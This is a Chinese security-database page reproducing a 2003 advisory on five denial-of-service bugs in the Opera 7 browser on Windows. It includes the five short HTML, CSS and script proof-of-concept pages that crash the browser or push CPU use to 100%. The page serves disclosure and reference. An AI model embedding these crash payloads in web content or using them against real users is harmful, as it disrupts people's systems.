Opera 7 – Denial of Service-安全小百科

Opera 7 – Denial of Service

漏洞ID	1053997	漏洞类型
发布时间	2003-06-30	更新时间	2003-06-30
CVE编号	N/A	CNNVD-ID	N/A
漏洞平台	Windows	CVSS评分	N/A

|漏洞来源

https://www.exploit-db.com/exploits/22844

|漏洞详情

漏洞细节尚未披露

|漏洞EXP

source: http://www.securityfocus.com/bid/8066/info

Opera has been reported to be prone to five denial of service vulnerabilities. These issues can be triggered when the browser attempts to interpret a document with malformed code. Exploitation could cause the browser to terminate or freeze.

This issue was reported for Opera on Microsoft Windows platforms. It is not known if other releases are affected.

[ CODE 1 ]

Just 12 bytes data "<!DOCTYPE" + NULL(x00) + 1byte + ">" makes
CPU usage go up to 100%(depending on comp specs) and the computer
gets freeze down.

-----------------------------------------------------------------
<!DOCTYPE[x00]A>
-----------------------------------------------------------------

[ CODE 2 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<form></form><script>document.forms[0].submit()</script>
-----------------------------------------------------------------

[ CODE 3 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<table>
<tr id="crash" style="display:inline"><td>
<script>crash.style.display = "none";</script>
</td></tr>
</table>
-----------------------------------------------------------------

[ CODE 4 ]

Abnormal termination is caused.

-----------------------------------------------------------------
<table>
<map id="crash" style="position:absolute"></map>
<script>crash.style.height = crash.style.width = '0';</script>
</table>
-----------------------------------------------------------------

[ CODE 5 ]

CPU usage go up to 100%(depending on comp specs) and the computer gets freeze down.

-----------------------------------------------------------------
<html>
<head>
<style type="text/css">
<!--
.aaaaa:after{content:"A";display:block}
.bbbbb{display:run-in}
.ccccc{display:inline-block}
//-->
</style>
</head>
<body>
<div class="aaaaa">
<div class="bbbbb">
<div class="ccccc">
</div>
</div>
</div>
</body>
</html>
-----------------------------------------------------------------

相关推荐: fte package fte-console访问控制漏洞

fte package fte-console访问控制漏洞漏洞ID 1207240 漏洞类型未知发布时间 1998-12-07 更新时间 1998-12-07 CVE编号 CVE-1999-1276 CNNVD-ID CNNVD-199812-012 漏…

文章版权归作者所有，未经允许请勿转载。

THE END